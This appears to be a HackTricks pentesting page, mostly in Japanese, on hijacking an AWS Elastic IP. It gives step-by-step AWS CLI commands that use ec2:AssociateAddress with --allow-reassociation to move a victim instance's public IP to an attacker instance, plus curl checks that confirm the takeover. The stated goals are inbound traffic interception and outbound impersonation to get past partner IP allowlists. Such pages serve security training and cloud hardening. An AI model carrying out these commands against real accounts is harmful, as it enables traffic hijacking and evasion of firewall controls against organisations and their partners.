# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

{{#include ../../../../banners/hacktricks-training.md}}

## 概要

`ec2:AssociateAddress`（任意で `ec2:DisassociateAddress`）を悪用して、victim instance/ENI から attacker instance/ENI に Elastic IP (EIP) を再関連付けします。これにより、EIP 宛ての着信トラフィックは attacker にリダイレクトされ、また attacker は許可リストに登録されたパブリックIP を使って発信トラフィックを生成し、外部パートナーのファイアウォールを回避できます。

## 前提条件
- 同一アカウント/VPC 内の対象 EIP allocation ID。
- あなたが制御する attacker instance/ENI。
- 権限:
- `ec2:DescribeAddresses`
- `ec2:AssociateAddress` が EIP allocation-id と attacker instance/ENI に対して必要
- `ec2:DisassociateAddress`（任意）。注意: `--allow-reassociation` は前のアタッチメントから自動的にディスアソシエイトします。

## 攻撃

変数
```bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
```
1) victimのEIPを割り当てるか特定する (labが新しいEIPを割り当ててvictimにアタッチする)
```bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
```
2) EIPが現在ターゲットのサービスを指していることを確認する（例: bannerの確認）
```bash
curl -sS http://$EIP | grep -i victim
```
3) EIPをattackerに再関連付けする（victimから自動的に切り離される）
```bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
```
4) EIPがattacker serviceに解決されていることを確認する
```bash
sleep 5; curl -sS http://$EIP | grep -i attacker
```
証拠（移動された関連付け）:
```bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
```
## 影響
- Inbound impersonation: hijacked EIP への全てのトラフィックが attacker instance/ENI に配信される。
- Outbound impersonation: Attacker は allowlisted public IP から発信されたように見えるトラフィックを開始できる（partner/external source IP filters を回避するのに有用）。

{{#include ../../../../banners/hacktricks-training.md}}
